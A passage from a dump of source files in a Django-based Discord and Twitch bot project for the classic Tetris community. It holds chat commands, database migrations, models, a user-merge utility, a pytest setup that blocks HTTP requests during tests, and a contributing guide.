user1.get_absolute_url(True),\n tournament_match.player1.seed)\n if user1 else match_display.player1_display_name()),\n inline=True)\n embed.add_field(name=\"Player 2\",\n value=(\"[{}]({}) ({})\".format(user2.display_name,\n user2.get_absolute_url(True),\n tournament_match.player2.seed)\n if user2 else match_display.player2_display_name()),\n inline=True)\n if match.vod:\n embed.add_field(name=\"VOD\", value=match.vod)\n\n discord.send_channel_message(channel_id, embed=embed)\n" }, { "alpha_fraction": 0.6299395561218262, "alphanum_fraction": 0.6327289342880249, "avg_line_length": 35.45762634277344, "blob_id": "2dd9ccdd665aa84db2027d068f690768802b3768", "content_id": "4a28779462cb801ac9f0144ed6e414a781dc67cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2153, "license_type": "permissive", "max_line_length": 77, "num_lines": 59, "path": "/classic_tetris_project/util/fieldgen/input.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .tiles import TileMath, InputTile\nfrom .ai import Aesthetics\n\n\nclass InputGenerator(object):\n MAX_SEQ = TileMath.INPUT_HEIGHT * TileMath.INPUT_WIDTH\n\n def __init__(self, tile_gen):\n self.tile_gen = tile_gen\n\n @staticmethod\n def input_length(sequence):\n return sequence[-1] + 1\n\n @staticmethod\n def input_too_long(sequence):\n return InputGenerator.input_length(sequence) > InputGenerator.MAX_SEQ\n\n @staticmethod\n def max_sequence_length():\n return InputGenerator.MAX_SEQ\n\n def draw_input_gray(self, image, sequence):\n arrow_tile = self.get_direction_arrow(sequence, True)\n dot_tile = self.tile_gen.get_arrow(InputTile.DOT_GRAY)\n len_seq = sequence[-1] + 1\n if len_seq <= self.MAX_SEQ:\n for i in range(len_seq):\n tile = arrow_tile if i in sequence else dot_tile\n self.paste_tile_on_index(image, i, tile)\n\n def draw_input_red(self, image, index, sequence):\n # unfortunately we have to pass the entire sequence,\n # since we don't want to leak direction of the arrow\n # to the outside space\n if index in sequence:\n tile = self.get_direction_arrow(sequence, False)\n else:\n tile = self.tile_gen.get_arrow(InputTile.DOT)\n\n if index <= sequence[-1]:\n self.paste_tile_on_index(image, index, tile)\n\n def paste_tile_on_index(self, image, index, tile):\n # pastes an image tile in the right spot, given its index\n coord = TileMath.get_input_coord(index)\n coord = TileMath.tile_indices_to_pixels(coord)\n image.paste(tile, coord)\n\n def get_direction_arrow(self, sequence, gray=False):\n # returns a red/gray left/right arrow correctly based on AI\n direction = Aesthetics.get_piece_shift_direction(sequence)\n if direction < 0:\n target = InputTile.LEFT_GRAY if gray else InputTile.LEFT\n arrow = self.tile_gen.get_arrow(target)\n else:\n target = InputTile.RIGHT_GRAY if gray else InputTile.RIGHT\n arrow = self.tile_gen.get_arrow(target)\n return arrow\n" }, { "alpha_fraction": 0.5528942346572876, "alphanum_fraction": 0.5948103666305542, "avg_line_length": 26.83333396911621, "blob_id": "a2b8907b7d014ac63b732c2639b7199ee3bcca2d", "content_id": "a88ac0aff9f1c265e8fd56181ef35d76c7f2824a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 501, "license_type": "permissive", "max_line_length": 148, "num_lines": 18, "path": "/classic_tetris_project/migrations/0020_auto_20200420_2028.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-04-20 20:28\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0019_discorduser_username'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='user',\n name='pronouns',\n field=models.CharField(choices=[('he', 'He/him/his'), ('she', 'She/her/hers'), ('they', 'They/them/theirs')], max_length=16, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6383963227272034, "alphanum_fraction": 0.6399382948875427, "avg_line_length": 43.72413635253906, "blob_id": "8265e212374c2041c37747bc195358a90041f613", "content_id": "9119c16ff050daba247155c57961836db2439247", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1297, "license_type": "permissive", "max_line_length": 82, "num_lines": 29, "path": "/classic_tetris_project/commands/country.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\nfrom ..countries import Country\n\[email protected](\"country\", \"getcountry\",\n usage=\"country [username] (default username you)\")\nclass GetCountryCommand(Command):\n def execute(self, *username):\n username = username[0] if len(username) == 1 else self.context.args_string\n platform_user = (self.platform_user_from_username(username) if username\n else self.context.platform_user)\n user = platform_user.user if platform_user else None\n\n if user and user.country:\n self.send_message(\"{name} is from {country}!\".format(\n name=self.context.display_name(platform_user),\n country=Country.get_country(user.country).full_name\n ))\n else:\n self.send_message(\"User has not set a country.\")\n\[email protected](\"setcountry\",\n usage=\"setcountry <three-letter country code>\")\nclass SetCountryCommand(Command):\n def execute(self, country):\n if not self.context.user.set_country(country):\n raise CommandException(\"Invalid country.\")\n else:\n country = Country.get_country(self.context.user.country)\n self.send_message(f\"Your country is now {country.full_name}!\")\n" }, { "alpha_fraction": 0.589595377445221, "alphanum_fraction": 0.6493256092071533, "avg_line_length": 26.3157901763916, "blob_id": "a638611478a1347cdd934ca3a669b93e488c270e", "content_id": "0c71e5fe8ae5fcaaad200cf0cca9d5dc0848ee7c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 519, "license_type": "permissive", "max_line_length": 135, "num_lines": 19, "path": "/classic_tetris_project/migrations/0052_auto_20210607_0311.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-06-07 03:11\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0051_auto_20210607_0114'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='match',\n name='channel',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, to='classic_tetris_project.twitchchannel'),\n ),\n ]\n" }, { "alpha_fraction": 0.5488584637641907, "alphanum_fraction": 0.5689497590065002, "avg_line_length": 34.32258224487305, "blob_id": "8109a45e1999c82b2909653ccd757d2af77d6d79", "content_id": "5a986017f3008b2320f094623d15ee9d8e74f5d0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1095, "license_type": "permissive", "max_line_length": 141, "num_lines": 31, "path": "/classic_tetris_project/migrations/0012_coin_side.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-02-11 06:27\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0011_user_same_piece_sets'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Coin',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('heads', models.IntegerField(default=0)),\n ('tails', models.IntegerField(default=0)),\n ('sides', models.IntegerField(default=0)),\n ],\n ),\n migrations.CreateModel(\n name='Side',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('timestamp', models.DateTimeField()),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='+', to='classic_tetris_project.User')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6216216087341309, "alphanum_fraction": 0.6216216087341309, "avg_line_length": 25.428571701049805, "blob_id": "87ee6121ab37c2809c9a277db20452c2b92c4c80", "content_id": "014e73ee7f6af6abceade68be522417cc3260692", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 185, "license_type": "permissive", "max_line_length": 36, "num_lines": 7, "path": "/classic_tetris_project/commands/test.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command\n\[email protected](\"test\", \"devtest\",\n usage=\"test\")\nclass TestCommand(Command):\n def execute(self):\n self.send_message(\"Test!\")\n" }, { "alpha_fraction": 0.7623318433761597, "alphanum_fraction": 0.7623318433761597, "avg_line_length": 26.875, "blob_id": "9126f91d2e2783f83b3c22f5796c2098b976a61c", "content_id": "02c79d580817b41adf12df4759d445fafde2515b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 223, "license_type": "permissive", "max_line_length": 87, "num_lines": 8, "path": "/classic_tetris_project/models/restreamers.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models\n\nfrom .users import User\n\n\nclass Restreamer(models.Model):\n user = models.ForeignKey(User, on_delete=models.PROTECT, related_name=\"restreamer\")\n active = models.BooleanField(default=True)\n" }, { "alpha_fraction": 0.5908745527267456, "alphanum_fraction": 0.6205323338508606, "avg_line_length": 40.09375, "blob_id": "acffc05982f071140400bd459d9fbfa3d7302916", "content_id": "ca6d9d867321dcbf277ad673142b2d1c4e6dcb72", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1315, "license_type": "permissive", "max_line_length": 148, "num_lines": 32, "path": "/classic_tetris_project/migrations/0015_auto_20200318_0315.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-03-18 03:15\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0014_auto_20200313_0819'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CustomCommand',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=20)),\n ('output', models.CharField(max_length=400, null=True)),\n ('alias_for', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.CustomCommand')),\n ('twitch_channel', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.TwitchChannel')),\n ],\n ),\n migrations.AddIndex(\n model_name='customcommand',\n index=models.Index(fields=['twitch_channel'], name='classic_tet_twitch__a83c1c_idx'),\n ),\n migrations.AddConstraint(\n model_name='customcommand',\n constraint=models.UniqueConstraint(fields=('twitch_channel', 'name'), name='unique channel plus command'),\n ),\n ]\n" }, { "alpha_fraction": 0.6768916249275208, "alphanum_fraction": 0.6789366006851196, "avg_line_length": 27.764705657958984, "blob_id": "50aebbb76e5aa6f618f12bde06c4c47bf4d54a80", "content_id": "2e2b6ab4410cc34a86206422bce1c5ff0a9be6fd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 489, "license_type": "permissive", "max_line_length": 78, "num_lines": 17, "path": "/conftest.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import pytest\n\[email protected](autouse=True)\ndef enable_db_access_for_all_tests(db):\n pass\n\n# https://blog.jerrycodes.com/no-http-requests/\[email protected](autouse=True)\ndef no_http_requests(monkeypatch):\n def urlopen_mock(self, method, url, *args, **kwargs):\n raise RuntimeError(\n f\"The test was about to {method} {self.scheme}://{self.host}{url}\"\n )\n\n monkeypatch.setattr(\n \"urllib3.connectionpool.HTTPConnectionPool.urlopen\", urlopen_mock\n )\n" }, { "alpha_fraction": 0.7002262473106384, "alphanum_fraction": 0.7002262473106384, "avg_line_length": 27.516128540039062, "blob_id": "417381cb134ac5783ef007f4ed52360ce2b2e50d", "content_id": "724a5d2d22278a232f1eb7df18698955304127bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 884, "license_type": "permissive", "max_line_length": 74, "num_lines": 31, "path": "/classic_tetris_project/moderation/moderator.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from ..env import env\nfrom ..models.users import DiscordUser\nfrom ..util import memoize\n\n# Explicitly importing all rules\n# We want to be very, very sure we WANT a rule before we add it\nfrom .all_caps import AllCapsRule\n\nclass DiscordModerator:\n def __init__(self, message):\n self.message = message\n\n def dispatch(self):\n rule_class = DISCORD_MODERATION_MAP[str(self.message.channel.id)]\n rule = rule_class(self)\n rule.apply()\n\n @property\n @memoize\n def user(self):\n return DiscordUser.get_or_create_from_user_ob(self.message.author)\n\n @staticmethod\n def is_rule(message):\n return str(message.channel.id) in DISCORD_MODERATION_MAP.keys()\n\n\nDISCORD_MODERATION_MAP = {}\ndiscord_caps_channel = env(\"DISCORD_CAPS_CHANNEL\", default=None)\nif discord_caps_channel:\n DISCORD_MODERATION_MAP[discord_caps_channel] = AllCapsRule\n" }, { "alpha_fraction": 0.6621753573417664, "alphanum_fraction": 0.663151741027832, "avg_line_length": 34.5625, "blob_id": "13964b5c9ef93545324c213200554ca9097b8c98", "content_id": "d3a5d34828d9e00541964725e02968f07ae0094a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5121, "license_type": "permissive", "max_line_length": 173, "num_lines": 144, "path": "/classic_tetris_project/commands/matches/challenge.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import time\nimport uuid\nfrom threading import Thread\nfrom django.core.cache import cache\n\nfrom .queue import QueueCommand\nfrom ...models import TwitchUser\nfrom ..command import Command, CommandException\nfrom ...queue import Queue\nfrom ... import twitch\n\n\"\"\"\n!challenge <user>\n!cancel\n!accept\n!decline\n!match\nClosest matches are...\n\"\"\"\n\nCHALLENGE_TIMEOUT = 60\n\n# challenges.<channel>.<twitch_user_id>.received = sender_id\n# challenges.<channel>.<twitch_user_id>.sent = recipient_id\n\nclass Challenge:\n def __init__(self, channel, sender, recipient):\n self.channel = channel\n self.sender = sender\n self.recipient = recipient\n self.uuid = uuid.uuid4().hex\n\n @staticmethod\n def pending_challenge(recipient):\n return cache.get(f\"challenges.{recipient.id}.received\")\n\n @staticmethod\n def sent_challenge(sender):\n return cache.get(f\"challenges.{sender.id}.sent\")\n\n def save(self):\n print(f\"setting challenges.{self.recipient.id}.received\")\n cache.set(f\"challenges.{self.recipient.id}.received\", self, timeout=CHALLENGE_TIMEOUT)\n cache.set(f\"challenges.{self.sender.id}.sent\", self, timeout=CHALLENGE_TIMEOUT)\n\n def remove(self):\n cache.delete(f\"challenges.{self.recipient.id}.received\")\n cache.delete(f\"challenges.{self.sender.id}.sent\")\n\n def __eq__(self, challenge):\n return isinstance(challenge, Challenge) and self.uuid == challenge.uuid\n\n\[email protected]_twitch(\"challenge\",\n usage=\"challenge <user>\")\nclass ChallengeCommand(QueueCommand):\n def execute(self, username):\n self.check_public()\n\n if not self.is_queue_open():\n raise CommandException(\"The queue is not open.\")\n\n recipient = self.twitch_user_from_username(username, existing_only=False)\n if not recipient:\n raise CommandException(f\"Twitch user \\\"{username}\\\" does not exist.\")\n\n sender = self.context.platform_user\n if recipient == sender:\n raise CommandException(\"You can't challenge yourself, silly!\")\n channel_name = self.context.channel.name\n\n # Check that recipient has no pending challenges\n # TODO: We may want to allow multiple challenges in the future, but\n # allow users to choose which to accept\n if Challenge.pending_challenge(recipient):\n raise CommandException(f\"{username} already has a pending challenge.\")\n\n # Check that sender has no pending challenges\n sent_challenge = Challenge.sent_challenge(sender)\n if sent_challenge:\n raise CommandException(f\"You have already challenged {sent_challenge.recipient.username}.\")\n\n # Add challenge\n challenge = Challenge(channel_name, sender, recipient)\n challenge.save()\n\n # Send public message announcing challenge\n self.send_message(f\"{recipient.user_tag} : {sender.username} has challenged you to a match on twitch.tv/{channel_name}! You have 60 seconds to !accept or !decline.\")\n\n\[email protected]_twitch(\"accept\",\n usage=\"accept\")\nclass AcceptChallengeCommand(Command):\n def execute(self):\n # Check that the challenge exists\n challenge = Challenge.pending_challenge(self.context.platform_user)\n if not challenge:\n raise CommandException(\"You have no pending challenge.\")\n\n # Check that the queue is open\n queue = Queue.get(challenge.channel)\n if not (queue and queue.is_open()):\n raise CommandException(\"The queue is no longer open. :(\")\n\n # Add the match to the queue\n queue.add_match(challenge.sender.user, challenge.recipient.user)\n # Remove the challenge\n challenge.remove()\n\n # Send public message\n channel = twitch.client.get_channel(challenge.channel)\n channel.send_message(\"{recipient} has accepted {sender}'s challenge! Match queued in spot {index}.\".format(\n recipient=challenge.recipient.user_tag,\n sender=challenge.sender.user_tag,\n index=len(queue)\n ))\n\n\[email protected]_twitch(\"decline\",\n usage=\"decline\")\nclass DeclineChallengeCommand(Command):\n def execute(self):\n challenge = Challenge.pending_challenge(self.context.platform_user)\n if not challenge:\n raise CommandException(\"You have no pending challenge.\")\n\n challenge.remove()\n self.send_message(f\"{challenge.recipient.username} has declined {challenge.sender.username} 's challenge.\")\n\[email protected]_twitch(\"cancel\",\n usage=\"cancel\")\nclass CancelChallengeCommand(Command):\n def execute(self):\n self.check_public()\n\n challenge = Challenge.sent_challenge(self.context.platform_user)\n if not challenge:\n raise CommandException(\"You have not challenged anyone.\")\n\n challenge.remove()\n self.send_message(\"The challenge from {sender} to {recipient} has been cancelled.\".format(\n sender=challenge.sender.username,\n recipient=challenge.recipient.username\n ))\n" }, { "alpha_fraction": 0.6030176877975464, "alphanum_fraction": 0.6035379767417908, "avg_line_length": 39.04166793823242, "blob_id": "030061c26c4de2ec39301c2cad908edcda43368e", "content_id": "e6379067402a5d211d9fb1d74103fe865c5c04b4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1922, "license_type": "permissive", "max_line_length": 99, "num_lines": 48, "path": "/classic_tetris_project/models/scores.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models, transaction\nfrom django.utils import timezone\n\nfrom .users import User\n\nclass ScorePB(models.Model):\n class Meta:\n indexes = [\n models.Index(fields=[\"user\", \"current\"], condition=models.Q(current=True),\n name=\"user_current\"),\n ]\n constraints = [\n models.UniqueConstraint(fields=[\"user\", \"starting_level\", \"console_type\"],\n condition=models.Q(current=True),\n name=\"unique_when_current\"),\n ]\n\n TYPE_CHOICES = [\n (\"ntsc\", \"NTSC\"),\n (\"pal\", \"PAL\"),\n ]\n\n user = models.ForeignKey(User, on_delete=models.CASCADE,\n related_name=\"score_pbs\", related_query_name=\"score_pb\")\n\n score = models.IntegerField(null=True, blank=True)\n lines = models.IntegerField(null=True, blank=True)\n starting_level = models.IntegerField(null=True, blank=True)\n console_type = models.CharField(max_length=5, choices=TYPE_CHOICES, default=\"ntsc\", null=False)\n current = models.IntegerField(null=False)\n created_at = models.DateTimeField(null=False, blank=True)\n\n\n @staticmethod\n @transaction.atomic\n def log(user, score, starting_level, console_type=\"ntsc\", **params):\n ScorePB.objects.filter(user=user, starting_level=starting_level, console_type=console_type,\n current=True).update(current=False)\n return ScorePB.objects.create(user=user, score=score, starting_level=starting_level,\n console_type=console_type, current=True,\n **params)\n\n @staticmethod\n def before_save(sender, instance, **kwargs):\n if instance.id is None:\n instance.created_at = instance.created_at or timezone.now()\n\nmodels.signals.pre_save.connect(ScorePB.before_save, sender=ScorePB)\n" }, { "alpha_fraction": 0.5221238732337952, "alphanum_fraction": 0.5929203629493713, "avg_line_length": 22.789474487304688, "blob_id": "ebc8953fcc9cb152c0f789c11739b6ac2d17bc9d", "content_id": "7a05dd33434490a5653531a83fa7c8c2c04c37aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "permissive", "max_line_length": 62, "num_lines": 19, "path": "/classic_tetris_project/migrations/0035_qualifier_auth_word.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-01-31 05:11\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0034_auto_20210125_0712'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='qualifier',\n name='auth_word',\n field=models.CharField(default='', max_length=6),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.6038159132003784, "alphanum_fraction": 0.6217733025550842, "avg_line_length": 36.125, "blob_id": "dfc7f76050584531f80ec801d8a0f9fb2711a732", "content_id": "ff6d9fc8313852ce707eb0ecf26be07dd0c15538", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1782, "license_type": "permissive", "max_line_length": 193, "num_lines": 48, "path": "/classic_tetris_project/commands/summon.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.core.exceptions import ObjectDoesNotExist\n\nfrom ..util import Platform\nfrom .command import Command, CommandException\nfrom .. import twitch\n\n\nSUMMON_LINK = \"https://discord.com/api/oauth2/authorize?client_id=544534930114347023&permissions=378944&redirect_uri=https%3A%2F%2Fmonthlytetris.info%2Foauth%2Fauthorize%2Fdiscord%2F&scope=bot\"\n\[email protected](\"summon\",\n usage=\"summon\")\nclass SummonCommand(Command):\n def execute(self):\n if self.context.platform == Platform.TWITCH:\n\n channel = self.context.platform_user.get_or_create_channel()\n self.summon_bot(channel)\n\n elif self.context.platform == Platform.DISCORD:\n self.send_message(f\"Invite the bot to your server: <{SUMMON_LINK}>\") \n \n def summon_bot(self, channel):\n\n if channel.connected:\n raise CommandException(f\"I'm already in #{channel.name}!\")\n\n channel.summon_bot()\n self.context.platform_user.send_message(f\"Ok, I've joined #{channel.name}. Message me \"\n \"\\\"!pleaseleavemychannel\\\" at any time to \"\n \"make me leave.\")\n channel.send_message(f\"Hi, I'm {twitch.client.username}!\")\n\[email protected](\"pleaseleavemychannel\",\n usage=\"pleaseleavemychannel\")\nclass LeaveCommand(Command):\n def execute(self):\n\n try:\n twitch_user = self.context.user.twitch_user\n channel = twitch_user.channel\n except ObjectDoesNotExist:\n channel = None\n\n if not (channel and channel.connected):\n raise CommandException(f\"I'm not in #{twitch_user.username}!\")\n\n channel.eject_bot()\n self.send_message(\"Bye!\")\n" }, { "alpha_fraction": 0.6276112794876099, "alphanum_fraction": 0.6512261629104614, "avg_line_length": 39.0363655090332, "blob_id": "91584f94ef0c2a958dbd360ec919ee03e071d480", "content_id": "91e535dfb88a79f7651290412b94235490001bf1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2202, "license_type": "permissive", "max_line_length": 93, "num_lines": 55, "path": "/classic_tetris_project/util/merge.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import transaction\nfrom ..models import Game, Match, ScorePB, Qualifier, TournamentPlayer, Restreamer\n\nclass UserMerger:\n class MergeError(Exception):\n pass\n\n def __init__(self, user1, user2):\n \"\"\"\n Always keep the user associated with the DiscordUser if possible\n Everything is merged into user1; user2 is deleted\n \"\"\"\n if hasattr(user1, \"discord_user\"):\n self.user1 = user1\n self.user2 = user2\n else:\n self.user1 = user2\n self.user2 = user1\n\n @transaction.atomic\n def merge(self):\n self.check_valid_merge()\n self.update_user_fields()\n self.update_platform_users()\n self.update_related_models()\n\n self.user2.delete()\n return self.user1\n\n def check_valid_merge(self):\n if ((hasattr(self.user1, \"discord_user\") and hasattr(self.user2, \"discord_user\")) or\n (hasattr(self.user1, \"twitch_user\") and hasattr(self.user2, \"twitch_user\"))):\n raise UserMerger.MergeError(\"conflicting platform users\")\n\n def update_user_fields(self):\n self.user1.preferred_name = self.user1.preferred_name or self.user2.preferred_name\n self.user1.country = self.user1.country or self.user2.country\n self.user1.save()\n\n def update_platform_users(self):\n if hasattr(self.user2, \"twitch_user\"):\n self.user2.twitch_user.user = self.user1\n self.user2.twitch_user.save()\n if hasattr(self.user2, \"discord_user\"):\n self.user2.discord_user.user = self.user1\n self.user2.discord_user.save()\n\n def update_related_models(self):\n ScorePB.objects.filter(user=self.user2).update(user=self.user1)\n Match.objects.filter(player1=self.user2).update(player1=self.user1)\n Match.objects.filter(player2=self.user2).update(player2=self.user1)\n Game.objects.filter(winner=self.user2).update(winner=self.user1)\n Qualifier.objects.filter(user=self.user2).update(user=self.user1)\n TournamentPlayer.objects.filter(user=self.user2).update(user=self.user1)\n Restreamer.objects.filter(user=self.user2).update(user=self.user1)\n" }, { "alpha_fraction": 0.8353808522224426, "alphanum_fraction": 0.8353808522224426, "avg_line_length": 36, "blob_id": "72c0c748d68f86026a542cd4a8e6b0d25017c38d", "content_id": "5d87d6ffddd669404ea4a016263d3b776fbefe4d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 407, "license_type": "permissive", "max_line_length": 70, "num_lines": 11, "path": "/classic_tetris_project/models/__init__.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .users import User, TwitchUser, DiscordUser, WebsiteUser\nfrom .scores import ScorePB\nfrom .matches import Match, Game\nfrom .twitch import TwitchChannel\nfrom .coin import Side\nfrom .commands import CustomCommand\nfrom .pages import Page\nfrom .events import Event\nfrom .qualifiers import Qualifier\nfrom .tournaments import Tournament, TournamentPlayer, TournamentMatch\nfrom .restreamers import Restreamer\n" }, { "alpha_fraction": 0.7749136686325073, "alphanum_fraction": 0.7774453163146973, "avg_line_length": 148.8275909423828, "blob_id": "9d6897d82f64b0553c0ce014e3f4d7e91dae4643", "content_id": "20e4b59807446da4ef1c9ad6d54ab1a52905e147", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4345, "license_type": "permissive", "max_line_length": 588, "num_lines": 29, "path": "/docs/CONTRIBUTING.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Contributing to ClassicTetrisBot \n\nFrom the beginning - even with the old Node.js bot - this project has been open source, licensed under the highly permissive MIT license. I want everyone to be able to see the code, but I also want anyone to be able to run it, mess with it, and break it.\n\nThere are several advantages to this, but the two most important ones are as follows:\n\n1. The more opinions we get, the more eyes on our code, the better the project will be. Anyone can look for bugs, suggest changes to implementation or structure, suggest features, and otherwise comment on the code. Ideally, if I do something exceptionally stupid, at least one person will notice and say something. Or at least, that's the goal.\n2. I'm not binded to this project. I think this is even more important than the first point. If, in a few months or years, I decide I no longer want to actively maintain and improve the bot, I don't have to. I could announce my planned departure, and within as little as a few hours, another community member could set up an AWS instance, clone this repository, and do the minimal setup required to keep the bot running in my absence. Even in a worst-case scenario where I'm not around to transfer ownership or oauth keys, the code itself is here; you'd only need another Twitch account. \n\n## A Guide to Contribution\n\nWe have two tiers of people whose code appears somewhere in this repository:\n\n1. **Contributors** are people who have submitted at least one PR here *that I accepted*. Contributors get a \"developer\" role in my [Discord server](https://discord.gg/KJf9grF) for developing and testing new features. Fancy blue name!\n\n2. **Team members** are people who have earned my trust by submitting a significant number of PR's or a few larger ones. These people will be determined subjectively and on a case-by-case basis. Team members receive:\n * A \"Bot Technician\" role in the [official CTM Discord server](https://discord.gg/SYP37aV)\n * A sudo-enabled user account on the bot's AWS EC2 instance, which comes with access to the joint `dev` user and the `bot` user, under which the production bot is running\n * Oauth tokens for the Discord and Twitch *test bots*\n\nHowever, as a fully-fleged team member, you are also expected to be another potential responder in the case of an outage or urgent bug report. At least 95% of the time, all this entails is restarting the bot on AWS (with a computer and an internet connection, this can be done in under a minute). You should also, ideally, spend at least a few hours each week doing some bot-related work. Admittedly, dexfore and I have both been slacking on this lately because the bot is in a good place right now and our next step is kind of a big one, but this is a general guideline.\n\nThose looking to become team members should start by contributing something small. There is a to-do list of small planned additions on this repo's [project page](https://github.com/professor-l/classic-tetris-project/projects/1). Picking something from there is a great way to sumbit a small first PR, but before jumping into that, it's a good idea to take a look at a few markdown documents aside from this one:\n* [README.md](https://github.com/professor-l/classic-tetris-project/blob/master/README.md): Yes, it's just the readme, but please actually read it (or finish reading it) if you haven't already. \n* [ARCHITECTURE.md](https://github.com/professor-l/classic-tetris-project/blob/master/docs/ARCHITECTURE.md): A long(ish) write-up detailing our design process of this bot's architecture. It's written like a blog to make it a little more bearable (and beacuse I hate writing purely technical documentation).\n* [SETUP_QUICK.md](https://github.com/professor-l/classic-tetris-bot/blob/master/docs/SETUP_QUICK.md): A guide to setting up a quick development environment.\n* [SETUP_ROBUST.md](https://github.com/professor-l/classic-tetris-bot/blob/master/docs/SETUP_ROBUST.md): Similar to the quick setup guide, but more comprehensive; designed for those who intend to submit multiple contributions or become a team member.\n\nOnce you've read those pages, including at least one of the setup guides, you should be prepared to submit your first pull request. Write your code, submit the PR, and DM me on Discord to let me know that it's waiting my approval. Best of luck!\n" }, { "alpha_fraction": 0.5360531210899353, "alphanum_fraction": 0.581593930721283, "avg_line_length": 36.64285659790039, "blob_id": "810c0b1f3bbf8b25d9a46b152b15ad86efddd304", "content_id": "826aa8d99b1a1f378a9d37e6a4b190d323852c66", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1054, "license_type": "permissive", "max_line_length": 161, "num_lines": 28, "path": "/classic_tetris_project/migrations/0075_auto_20230429_1913.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2023-04-29 19:13\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0074_auto_20221002_0630'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='bracket_type',\n field=models.CharField(choices=[('SINGLE', 'Single Elimination'), ('DOUBLE', 'Double Elimination')], default='SINGLE', max_length=64),\n ),\n migrations.AlterField(\n model_name='event',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 2 Scores'), (3, 'Highest 3 Scores'), (4, 'Most Maxouts'), (5, 'Lowest Time')]),\n ),\n migrations.AlterField(\n 